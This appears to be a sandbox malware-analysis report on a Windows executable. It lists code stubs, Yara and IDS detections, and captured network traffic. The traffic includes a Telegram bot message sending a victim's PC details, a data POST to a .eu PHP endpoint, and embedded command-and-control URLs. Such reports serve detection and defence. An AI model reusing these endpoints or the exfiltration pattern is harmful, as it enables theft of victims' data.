Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 0642F95Bh	0_2_0642F660
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06422312h	0_2_06422068
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06428B63h	0_2_06428868
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06420C41h	0_2_06420970
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 0642B66Bh	0_2_0642B370
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 0642E173h	0_2_0642DE78
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06426349h	0_2_06426078
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 0642BFFBh	0_2_0642BD00
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 064210D9h	0_2_06420E08
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 0642EB03h	0_2_0642E808
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06426882h	0_2_06426510
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06427D0Bh	0_2_06427A10
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 064250EAh	0_2_06424E18
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 0642A813h	0_2_0642A518
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 064239F1h	0_2_06423720
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 0642D31Bh	0_2_0642D020
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 0642902Bh	0_2_06428D30
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06421A09h	0_2_06421738
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 0642BB33h	0_2_0642B838
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06422791h	0_2_064224C0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 064299BBh	0_2_064296C0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 0642C4C3h	0_2_0642C1C8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06421EA1h	0_2_06421BD0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 0642EFCBh	0_2_0642ECD0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 064207A9h	0_2_064204D8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 064281D3h	0_2_06427ED8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06425EB1h	0_2_06425BE0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 0642ACDBh	0_2_0642A9E0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 064247B9h	0_2_064244E8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 0642D7E3h	0_2_0642D4E8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 064230C1h	0_2_06422DF0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 064294F3h	0_2_064291F8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06424C51h	0_2_06424980
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 0642737Bh	0_2_06427080
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06423559h	0_2_06423288
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06429E83h	0_2_06429B88
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 0642C98Bh	0_2_0642C690
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 0642F493h	0_2_0642F198
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06421571h	0_2_064212A0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 0642869Bh	0_2_064283A0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 0642B1A3h	0_2_0642AEA8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06425581h	0_2_064252B0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 0642DCABh	0_2_0642D9B0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06423E89h	0_2_06423BB8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06462983h	0_2_06462688
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 0646033Bh	0_2_06460040
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06461B2Bh	0_2_06461830
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06461FF3h	0_2_06461CF8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06461194h	0_2_06460E98
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06461663h	0_2_06461368
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06460803h	0_2_06460508
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 064624BBh	0_2_064621C0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then jmp 06460CCBh	0_2_064609D0
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	0_2_064A4800
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	0_2_064A3EA8
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	0_2_064A4C18
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	0_2_064A4C16
Source: C:\Users\user\Desktop\173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	0_2_064A3E72

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2710000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22e08de.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.2510f20.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.22df9be.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe.6cba98.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:364339%0D%0ADate%20and%20Time:%2011/11/2024%20/%2005:56:38%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20364339%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /swsk/P4.php HTTP/1.1Content-Type: text/plain; charset=utf-8Host: sws.swpushroller.euContent-Length: 9112Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49735 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49739 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49737 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49741 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49733 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49730 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49746 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49740 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49732 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49744 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.4:49748
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.4:49755

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.72 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:364339%0D%0ADate%20and%20Time:%2011/11/2024%20/%2005:56:38%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20364339%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: sws.swpushroller.eu

Source: unknown

HTTP traffic detected: POST /swsk/P4.php HTTP/1.1Content-Type: text/plain; charset=utf-8Host: sws.swpushroller.euContent-Length: 9112Connection: Keep-Alive

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sun, 10 Nov 2024 20:44:12 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.000000000290C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104931706.0000000002510000.00000004.08000000.00040000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000003.1649899413.00000000006CB000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4104801390.000000000229F000.00000004.00000020.00020000.00000000.sdmp, 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105228422.0000000002710000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.0000000002771000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.000000000290C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sws.swpushroller.eu
Source: 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe, 00000000.00000002.4105270997.000000000290C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sws.swpushroller.eu/swsk/P4.php
